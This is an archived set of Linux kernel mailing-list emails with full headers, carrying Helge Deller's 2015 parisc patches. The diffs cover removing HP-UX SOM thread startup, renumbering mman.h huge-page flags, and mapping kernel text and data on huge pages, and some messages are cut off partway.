@@ -35,7 +35,7 @@ static inline pgd_t *pgd_alloc(struct mm_struct *mm)
 				        PxD_FLAG_VALID | 
 					PxD_FLAG_ATTACHED) 
 			+ (__u32)(__pa((unsigned long)pgd) >> PxD_VALUE_SHIFT));
-		/* The first pmd entry also is marked with _PAGE_GATEWAY as
+		/* The first pmd entry also is marked with PxD_FLAG_ATTACHED as
 		 * a signal that this pmd may not be freed */
 		__pgd_val_set(*pgd, PxD_FLAG_ATTACHED);
 #endif
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 2/9] parisc: Drop definition of start_thread_som for HP-UX SOM binaries
Date: Fri, 20 Nov 2015 22:38:35 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <1448055522-11594-3-git-send-email-deller@gmx.de>
References: <1448055522-11594-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1448055545 6284 80.91.229.3 (20 Nov 2015 21:39:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Nov 2015 21:39:05 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 20 22:38:56 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZztOQ-0005rY-Bb
	for glpp-linux-parisc@plane.gmane.org; Fri, 20 Nov 2015 22:38:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934658AbbKTVix (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Nov 2015 16:38:53 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:61747 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S935178AbbKTViw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Nov 2015 16:38:52 -0500
Original-Received: from localhost.localdomain ([92.203.21.201]) by mail.gmx.com
 (mrgmx002) with ESMTPSA (Nemesis) id 0Llm9w-1aYx5q216O-00ZMAz; Fri, 20 Nov
 2015 22:38:46 +0100
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1448055522-11594-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:hsceKf7ck5UCdfCQhg0fPgl4S6Upf5PHlIULNoxWlK0NIETBISh
 VUE6Zqt0QrNEvqxb1HPJ4WRlPjkJ+kyqyXw2tCp/1tyelt2gmZcQ19A5TXnxGtPLZSAs6d4
 LfNmNa+z+ti02OG+sJ1Vor1R1d++/pIuGNp1hKSN7KxBVy/6k+SbKGL3qItvyhMTkb/Frsf
 QaPL5Nb+O32HtLDXN6/Jg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:jV0gjk6a6Xk=:KwgfOa4W7MrG3jIDB2Dqy8
 ldNLUASTxPyt97YIGWpBSggwqMPfjkGeiQkWULRB9pn6LpzabwA+5pwn5zAJl9JAh9Ovsqq+e
 MkQCyO1isp8LBMG+B9OiL/Y9gEXiqdLJpNl1YoMaQKrhoELpNOR4YvLBmKPcdgte5H6Hj5okP
 sH3Ek7HXZnm3PTc191UMByJQP8QuHdlmaSqobUJrEUmWBNjOg/XHmUGuGfvNi0j2gUWpNbD1R
 6TicAnUt2AuvG3H9qo5VS7MBfO0UmVKaH18tw4pyLt5MuuzCXuWF9XmLH6bSavYxZ+ANe7C1k
 FF2UAI3gajN9mncmDnLJ6Db3bBqhwgqrdEo5T/ZErnoM3VPb/9y5zkpsIm52+siI12W3u4tPs
 jVXAV3Esva/aCzFT4+pT/7KT5PweDz4lShuJIqnqrus+ie1bwBnbKzuMVETCn4qqtX04y1k4q
 Sr4c5JK9cLu73/dLGCQ2Ok+6yHY0YoYptvsOudOsNF++FQacmsArJGS0gJuTiqfqdBGzBGzWZ
 GnR5DfZP+libWgM94WXi4Mtzt9hGELbhCqygHDMcU9r1dFvJzCoOQr66ZV2tUPs1YL5qWLtlp
 bS/qQuWRhJaZeden+g/QRLU6uYyL3QTgKvHrEMRJ04ACKym8L7IK9lz+VZGfIyQcIEcHPOx7i
 xA/vPbTHC+B2uAnYMlFUw+WWABky/smsq+mQMyKktMxoCZuJdi5GvkhRC9mybeyxWdNpgv8G+
 RCJNcGa9jfaHJb+dmDx/ArDJgPS5GlCuOwwmyuXQgdPekxYHUGmu1+0snRk=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26152
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26152>

The definition of start_thread_som was planned to be used to execute
HP-UX SOM binaries. Since HP-UX compatibility was dropped with kernel 4.0
there is no need to carry it further.

Signed-off-by: Helge Deller <deller@gmx.de>
---
 arch/parisc/include/asm/processor.h | 27 ---------------------------
 1 file changed, 27 deletions(-)

diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 54adb60..7e759ec 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -192,33 +192,6 @@ void show_trace(struct task_struct *task, unsigned long *stack);
  */
 typedef unsigned int elf_caddr_t;
 
-#define start_thread_som(regs, new_pc, new_sp) do {	\
-	unsigned long *sp = (unsigned long *)new_sp;	\
-	__u32 spaceid = (__u32)current->mm->context;	\
-	unsigned long pc = (unsigned long)new_pc;	\
-	/* offset pc for priv. level */			\
-	pc |= 3;					\
-							\
-	regs->iasq[0] = spaceid;			\
-	regs->iasq[1] = spaceid;			\
-	regs->iaoq[0] = pc;				\
-	regs->iaoq[1] = pc + 4;                         \
-	regs->sr[2] = LINUX_GATEWAY_SPACE;              \
-	regs->sr[3] = 0xffff;				\
-	regs->sr[4] = spaceid;				\
-	regs->sr[5] = spaceid;				\
-	regs->sr[6] = spaceid;				\
-	regs->sr[7] = spaceid;				\
-	regs->gr[ 0] = USER_PSW;                        \
-	regs->gr[30] = ((new_sp)+63)&~63;		\
-	regs->gr[31] = pc;				\
-							\
-	get_user(regs->gr[26],&sp[0]);			\
-	get_user(regs->gr[25],&sp[-1]); 		\
-	get_user(regs->gr[24],&sp[-2]); 		\
-	get_user(regs->gr[23],&sp[-3]); 		\
-} while(0)

From - Thu Nov 08 21:38:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.stable
Subject: [PATCH 3/9] parisc: Fix asm/mman.h regarding MAP_HUGETLB and MADV_XX flags
Date: Fri, 20 Nov 2015 22:38:36 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <1448055522-11594-4-git-send-email-deller@gmx.de>
References: <1448055522-11594-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1448055550 6346 80.91.229.3 (20 Nov 2015 21:39:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Nov 2015 21:39:10 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	stable@vger.kernel.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 20 22:39:01 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZztOS-0005rY-O9
	for glpp-linux-parisc@plane.gmane.org; Fri, 20 Nov 2015 22:38:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935187AbbKTVi4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Nov 2015 16:38:56 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:64759 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S935181AbbKTVix (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Nov 2015 16:38:53 -0500
Original-Received: from localhost.localdomain ([92.203.21.201]) by mail.gmx.com
 (mrgmx002) with ESMTPSA (Nemesis) id 0MfVU3-1Zjj9p3SOp-00P6iw; Fri, 20 Nov
 2015 22:38:46 +0100
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1448055522-11594-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:52y5HBw5572LSode5FnLxrbzqYx53Gey6m6wuopNd6jsTq4I1UY
 KUTRe61gg3JDLEakWZz7pjZM9BjIw+SnmSXA7zUkcXyev3uwgVywTrXjmnlpK3h30uvLyqZ
 CjLE550xJ208+Fp+BD/xQjQ5iA0I4hmdRaInaI8s1TNglR5tCi4eDg9T0OH3mM1OwfjH/Xc
 xAPWZW0uGbCSFX1YVMwNA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:iLUmezvU6N8=:idTCOZpjMRa5zISUBFk4cU
 MFaPYCYt0INjkuzTWEnR/4kPCuHbkP9rtjzF+uMOeNlj9WacyOr6XSEhF8m9fCMrqsyb460fw
 6E0JZVLXef1ldqZ2SWtWlebOAu4ApYn7pNLmXv81/u1sv5ByylP+ULzGFgctUEYL5n8dvpM3v
 YVhQpxpZKRSEeq8AyI6FLn9tSPJ4siKugC+raVxuDSfikEVVQEFehpNS7C9q6+BU8/AjBi/rh
 lJHLFZywMg0N8qgAgnCjw7OUYY7l/WxWGGesdz4p4zDMmNRVV5QmQ3t57H83bcqZmvt8vYUNs
 aRb0+cOLMSFraojSKDSgbyhtTpzWH3XnDCT0dSrBxaf388PPNnh+AVONX7zXijFoI6l19Oh26
 vBE55eTejzFCCsN3EGNpIXKVMyigUK4LD/pNllVc+PEA1pRB19BXRz3V2rUYoqiNHYSoOtJqK
 0AxloEgce94duMvPzeN/Flh7ROPEt0A20JQd41rRWL9k7PuQ+10cxxSkke7XmYracyt3xlgOR
 EXo4SmwtknRxE81LiKlesNn34649yZRwOhfBDaULuqTUhOp5PF0mCa7q7PZK+Yl82as4S4Fpe
 irMvbtZ3801YYf1XIQnra4/vsXuOCWh78JYuYpRZtuoRhTFZf5eGs/0HkB6Ar68zuChBf9fei
 RiUQq2XimcAzQ5ZaO1LcfF8cDUT/FLjN1hmfhTQbGEr8DxG/migy9tmds8HzNZnDoLxXlfuOp
 LeTlB29EbLjKT8z4/qvGP0pcdU0m6Z5EQx2S76U3ioU/Socgqf7n46lKc8I=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26153 gmane.linux.kernel.stable:156167
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26153>

On parisc we have up to now never supported Huge Pages, even glibc did
not defined MAP_HUGETLB for parisc. Since the Huge Page support is being
added now, clean up existing definitions for MAP_HUGETLB and friends.

Drop lots of MADV_xxK_PAGES flags, which were never used and were
designed for a patch which was never integrated into the Linux
kernel. Instead move other MADV_ flags to make them more compatible to
other linux architectures.

Cc: stable@vger.kernel.org
Signed-off-by: Helge Deller <deller@gmx.de>
---
 arch/parisc/include/uapi/asm/mman.h | 29 ++++++++++-------------------
 1 file changed, 10 insertions(+), 19 deletions(-)

diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 294d251..9ac77f1 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -19,11 +19,12 @@
 #define MAP_EXECUTABLE	0x1000		/* mark it as an executable */
 #define MAP_LOCKED	0x2000		/* pages are locked */
 #define MAP_NORESERVE	0x4000		/* don't check for reservations */
-#define MAP_GROWSDOWN	0x8000		/* stack-like segment */
+#define MAP_GROWSDOWN	0x8000		/* x86 stack-like segment */
 #define MAP_POPULATE	0x10000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
-#define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
-#define MAP_HUGETLB	0x80000		/* create a huge page mapping */
+#define MAP_HUGETLB	0x40000		/* create a huge page mapping */
+#define MAP_GROWSUP	0x80000		/* parisc stack-like segment */
+#define MAP_STACK	MAP_GROWSUP	/* give out an address that is best suited for process/thread stacks */
 
 #define MS_SYNC		1		/* synchronous memory sync */
 #define MS_ASYNC	2		/* sync memory asynchronously */
@@ -46,25 +47,15 @@
 #define MADV_DONTFORK	10		/* don't inherit across fork */
 #define MADV_DOFORK	11		/* do inherit across fork */
 
-/* The range 12-64 is reserved for page size specification. */
-#define MADV_4K_PAGES   12              /* Use 4K pages  */
-#define MADV_16K_PAGES  14              /* Use 16K pages */
-#define MADV_64K_PAGES  16              /* Use 64K pages */
-#define MADV_256K_PAGES 18              /* Use 256K pages */
-#define MADV_1M_PAGES   20              /* Use 1 Megabyte pages */
-#define MADV_4M_PAGES   22              /* Use 4 Megabyte pages */
-#define MADV_16M_PAGES  24              /* Use 16 Megabyte pages */
-#define MADV_64M_PAGES  26              /* Use 64 Megabyte pages */
+#define MADV_MERGEABLE   12		/* KSM may merge identical pages */
+#define MADV_UNMERGEABLE 13		/* KSM may not merge identical pages */
 
-#define MADV_MERGEABLE   65		/* KSM may merge identical pages */
-#define MADV_UNMERGEABLE 66		/* KSM may not merge identical pages */
+#define MADV_HUGEPAGE	14		/* Worth backing with hugepages */
+#define MADV_NOHUGEPAGE	15		/* Not worth backing with hugepages */
 
-#define MADV_HUGEPAGE	67		/* Worth backing with hugepages */
-#define MADV_NOHUGEPAGE	68		/* Not worth backing with hugepages */

From - Thu Nov 08 21:38:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 9/9] parisc: Map kernel text and data on huge pages
Date: Fri, 20 Nov 2015 22:38:42 +0100
Lines: 172
Approved: news@gmane.org
Message-ID: <1448055522-11594-10-git-send-email-deller@gmx.de>
References: <1448055522-11594-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1448055552 6362 80.91.229.3 (20 Nov 2015 21:39:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Nov 2015 21:39:12 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 20 22:39:04 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZztOZ-0005rY-Be
	for glpp-linux-parisc@plane.gmane.org; Fri, 20 Nov 2015 22:39:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933825AbbKTVjC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Nov 2015 16:39:02 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:50759 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S935184AbbKTVjB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Nov 2015 16:39:01 -0500
Original-Received: from localhost.localdomain ([92.203.21.201]) by mail.gmx.com
 (mrgmx002) with ESMTPSA (Nemesis) id 0LdHqj-1ahVnd3BdR-00iSym; Fri, 20 Nov
 2015 22:38:48 +0100
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1448055522-11594-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:l2VpgRQ8GIb5i556NxvG/s6tk5PtbaB+RrILe4bnUc0C8FeFtDQ
 cbvrczbAC/gGxt3wsXXCcC/167Oh5pp2ZEhywCKLlCCNaWjqov7EPzLHtlt8e2QTi6MDxKF
 14DGLiBoKyB2Pf2NxMNbgGxUmXo4hRHlUwowWJT6pNz5X5kcHum46yAymiOkTZRAHBpwWKf
 1Leq1ygujTHYzBJg/dyxA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:+wVw+7R6asA=:MsuLWhXmbiRRxOEVe3wK7w
 8ZgD8KjD6Mx/grUbsxXWnbrZYVTdxGbvCALvYX45eVvBb1syH1IIC59zzRT9hL3wLC4BlXM6A
 K0wqKCEHhsHgSnSWvgyB80GGaovk3978Rt9R9VKrURULVoODG9tYFwyiLLUvRWahp7kyqrCRr
 3RkeG/7y5Zj6LcE/LHCamIWgZSPiBXGYdi4r9g/a9/ysSutsW4cH1Qu2J8+Egqkxv954GlTeY
 0lWnSlGK6qMZFNXq5YWwawE7qxxcGC28qzc1++s1vlFz+6KiX7s59R68XeaHoQxlSztkP2twv
 t0+sFc4vWgADCZnBI3JZD1GgaxGZPssYY1fYDbtdGoTqkIYfzKncgUvqt6c6awJIhJsC9uIUI
 1zrZWrw0NRTjAVmeGLbd2Wrsf48hJZWhB+8GptTz1+0U5z1cPpHauDsNOb1rKxbUQhI4ufdv7
 k9fFt3FyeL0JIopTYvnygWTSJs0Q73Zgx1LFL+GDGYe8rCh+Q+VoXBq7bzhYvnOOVocafZfsi
 u72zZvGTUoYChsh5PpI1lPkbAzXqt6N/2K8G0Zqy1ht2Nmf2rOi2nP2oRSqe6x2hXvdIFRBeZ
 tRhgnihCU5xSj0YVe2hyrA7ERCKxJsHr1uoEUp/3Es5j7qRQpVBoRrVsxGUPaJWvRhcePbIz9
 EvGV6pd3/wSMlGEAtJQ+mCd5LBP2J3oEG1apUbbLfcjO2F6sF3nOHEfaOclpx7Deo7YtqXazO
 YToA3T9kPuaIzK3/xl5vktffeibpoPL+tQhgyGcDo7y76zwUVaRdDox7XLY=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26154
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26154>

Adjust the linker script and map_pages() to map kernel text and data on
physical 1MB huge/large pages.

The bss section is the last section in the kernel layout and if huge
pages are enabled we may end off with unused memory which we now will
use for the bootmap tables.

Signed-off-by: Helge Deller <deller@gmx.de>
---
 arch/parisc/kernel/asm-offsets.c |  8 ++++++++
 arch/parisc/kernel/vmlinux.lds.S |  9 ++++++---
 arch/parisc/mm/init.c            | 42 +++++++++++++++++-----------------------
 3 files changed, 32 insertions(+), 27 deletions(-)

diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index 59001ce..d2f6257 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -290,6 +290,14 @@ int main(void)
 	DEFINE(ASM_PFN_PTE_SHIFT, PFN_PTE_SHIFT);
 	DEFINE(ASM_PT_INITIAL, PT_INITIAL);
 	BLANK();
+	/* HUGEPAGE_SIZE is only used in vmlinux.lds.S to align kernel text
+	 * and kernel data on physical huge pages */
+#ifdef CONFIG_HUGETLB_PAGE
+	DEFINE(HUGEPAGE_SIZE, 1UL << REAL_HPAGE_SHIFT);
+#else
+	DEFINE(HUGEPAGE_SIZE, PAGE_SIZE);
+#endif
+	BLANK();
 	DEFINE(EXCDATA_IP, offsetof(struct exception_data, fault_ip));
 	DEFINE(EXCDATA_SPACE, offsetof(struct exception_data, fault_space));
 	DEFINE(EXCDATA_ADDR, offsetof(struct exception_data, fault_addr));
diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index 0dacc5c..308f290 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -60,7 +60,7 @@ SECTIONS
 		EXIT_DATA
 	}
 	PERCPU_SECTION(8)
-	. = ALIGN(PAGE_SIZE);
+	. = ALIGN(HUGEPAGE_SIZE);
 	__init_end = .;
 	/* freed after init ends here */
 
@@ -116,7 +116,7 @@ SECTIONS
 	 * that we can properly leave these
 	 * as writable
 	 */
-	. = ALIGN(PAGE_SIZE);
+	. = ALIGN(HUGEPAGE_SIZE);
 	data_start = .;
 
 	EXCEPTION_TABLE(8)
@@ -135,8 +135,11 @@ SECTIONS
 	_edata = .;
 
 	/* BSS */
-	BSS_SECTION(PAGE_SIZE, PAGE_SIZE, 8)
+	BSS_SECTION(PAGE_SIZE, PAGE_SIZE, PAGE_SIZE)
+
+	/* bootmap is allocated in setup_bootmem() directly behind bss. */
 
+	. = ALIGN(HUGEPAGE_SIZE);
 	_end = . ;
 
 	STABS_DEBUG
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index c229427..976fb6e 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -265,7 +265,7 @@ static void __init setup_bootmem(void)
 	for (i = 0; i < npmem_ranges; i++)
 		bootmap_pages += bootmem_bootmap_pages(pmem_ranges[i].pages);
 
-	bootmap_start_pfn = PAGE_ALIGN(__pa((unsigned long) &_end)) >> PAGE_SHIFT;
+	bootmap_start_pfn = PAGE_ALIGN(__pa((unsigned long) &__bss_stop)) >> PAGE_SHIFT;
 
 #ifdef CONFIG_DISCONTIGMEM
 	for (i = 0; i < MAX_PHYSMEM_RANGES; i++) {
@@ -407,15 +407,11 @@ static void __init map_pages(unsigned long start_vaddr,
 	unsigned long vaddr;
 	unsigned long ro_start;
 	unsigned long ro_end;
-	unsigned long fv_addr;
-	unsigned long gw_addr;
-	extern const unsigned long fault_vector_20;
-	extern void * const linux_gateway_page;
+	unsigned long kernel_end;
 
 	ro_start = __pa((unsigned long)_text);
 	ro_end   = __pa((unsigned long)&data_start);
-	fv_addr  = __pa((unsigned long)&fault_vector_20) & PAGE_MASK;
-	gw_addr  = __pa((unsigned long)&linux_gateway_page) & PAGE_MASK;
+	kernel_end  = __pa((unsigned long)&_end);
 
 	end_paddr = start_paddr + size;
 
@@ -473,24 +469,25 @@ static void __init map_pages(unsigned long start_vaddr,
 			for (tmp2 = start_pte; tmp2 < PTRS_PER_PTE; tmp2++, pg_table++) {
 				pte_t pte;
 
-				/*
-				 * Map the fault vector writable so we can
-				 * write the HPMC checksum.
-				 */
 				if (force)
 					pte =  __mk_pte(address, pgprot);
-				else if (parisc_text_address(vaddr) &&
-					 address != fv_addr)
+				else if (parisc_text_address(vaddr)) {
 					pte = __mk_pte(address, PAGE_KERNEL_EXEC);
+					if (address >= ro_start && address < kernel_end)
+						pte = pte_mkhuge(pte);
+				}
 				else
 #if defined(CONFIG_PARISC_PAGE_SIZE_4KB)
-				if (address >= ro_start && address < ro_end
-							&& address != fv_addr
-							&& address != gw_addr)
-					pte = __mk_pte(address, PAGE_KERNEL_RO);
-				else
+				if (address >= ro_start && address < ro_end) {
+					pte = __mk_pte(address, PAGE_KERNEL_EXEC);
+					pte = pte_mkhuge(pte);
+				} else
 #endif
+				{
 					pte = __mk_pte(address, pgprot);
+					if (address >= ro_start && address < kernel_end)
+						pte = pte_mkhuge(pte);
+				}
 
 				if (address >= end_paddr) {
 					if (force)
@@ -534,15 +531,12 @@ void free_initmem(void)
 
 	/* force the kernel to see the new TLB entries */
 	__flush_tlb_range(0, init_begin, init_end);
-	/* Attempt to catch anyone trying to execute code here
-	 * by filling the page with BRK insns.
-	 */
-	memset((void *)init_begin, 0x00, init_end - init_begin);
+
 	/* finally dump all the instructions which were cached, since the
 	 * pages are no-longer executable */
 	flush_icache_range(init_begin, init_end);
 	
-	free_initmem_default(-1);
+	free_initmem_default(POISON_FREE_INITMEM);
 
 	/* set up a new led state on systems shipped LED State panel */
 	pdc_chassis_send_status(PDC_CHASSIS_DIRECT_BCOMPLETE);
@@ -712,8 +706,8 @@ static void __init pagetable_init(void)
 		unsigned long size;
 
 		start_paddr = pmem_ranges[range].start_pfn << PAGE_SHIFT;
-		end_paddr = start_paddr + (pmem_ranges[range].pages << PAGE_SHIFT);
 		size = pmem_ranges[range].pages << PAGE_SHIFT;
+		end_paddr = start_paddr + size;
 
 		map_pages((unsigned long)__va(start_paddr), start_paddr,
 			  size, PAGE_KERNEL, 0);
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 7/9] parisc: Use long branch to do_syscall_trace_exit
Date: Fri, 20 Nov 2015 22:38:40 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <1448055522-11594-8-git-send-email-deller@gmx.de>
References: <1448055522-11594-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1448055554 6378 80.91.229.3 (20 Nov 2015 21:39:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Nov 2015 21:39:14 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 20 22:39:06 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZztOU-0005rY-Sc
	for glpp-linux-parisc@plane.gmane.org; Fri, 20 Nov 2015 22:38:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935183AbbKTVi5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Nov 2015 16:38:57 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:55079 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S935184AbbKTVix (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Nov 2015 16:38:53 -0500
Original-Received: from localhost.localdomain ([92.203.21.201]) by mail.gmx.com
 (mrgmx002) with ESMTPSA (Nemesis) id 0LngNT-1aZDoV0Ksx-00hs62; Fri, 20 Nov
 2015 22:38:48 +0100
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1448055522-11594-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:cun7nP8qNhMlbJPoQbxPGlXw5jxzn2bbcHx0RQYIAbvlC5nMWrq
 QaGIR8jHawVmPpCk1gbhvSWA0LzMjtxlOHZ2x8/O844cVIASqaiQ+5qnmUwIKvO59rLAOmJ
 qrojv6AuB8u/dEppnm1MZJO7r5U+tthhC9uMTlr4EOQa2ms7bFYfyMaPhElvurK2nlxL8Fd
 icl960eVOxo0OF6cxgDhg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:20XtKgUL8dI=:42sP509pqwIL4+YVUfnAdW
 8yKHvdSVzw/2vym+dWPST0ZgtwmaX7TuCbwIWJMqdldIAaqAOggb/REr3DIwbDpsAWv0xIYDZ
 dulenN3lWVHpGlEYf4DKQHkYk0cwWv7AQtX7VLkLntMqmnmtgxdpV3FMpDLLk4ynfTjELidg4
 TRczy6rCwShezab6ANvXhA8L5wkz8VOMp9ls1t/263so+pPYQsRc0mBIlGKIxXc/P3+Sk6T1k
 GlhDdt9b47ZCOR0Ln3UKsUquGHi8VomLo2XqrAkyr69kelwZ/sqKoI1t6qXKs+pSjWv5r2OYV
 CBkTt7oMVXZwF4AinBmJE9B1BmJJSbwP9pQMUrXNIFg0a6v1Ws4Ke2MmIJKM+LzhKHmyfpMUT
 plTiXLZlzCekaRPpCoiEPXrmfdgIZEnTTpF80CIQUH5jz4cmp3rniQ3s1fYJKBX1vMOKNVp5m
 3/2pMExU0c41Tj7V3D0VZks4aGnGk4wuAbwzqu3Lxjqo3evEmUnFtN6vQtPW/9yA218bkrJoP
 brxk0+Ba7tkVsWoNPvxtAiKeDrl85SDcSCdbe+eeP0CtiYF0C4PtAhT/DXjMDQHrfsV7qknuD
 0yutsIapc93zeOUWVg+m/eswyN9nC9F3aYEXaIdkgIcwspOCY0d2FO+xauHVjX3qYLC1IzxUL
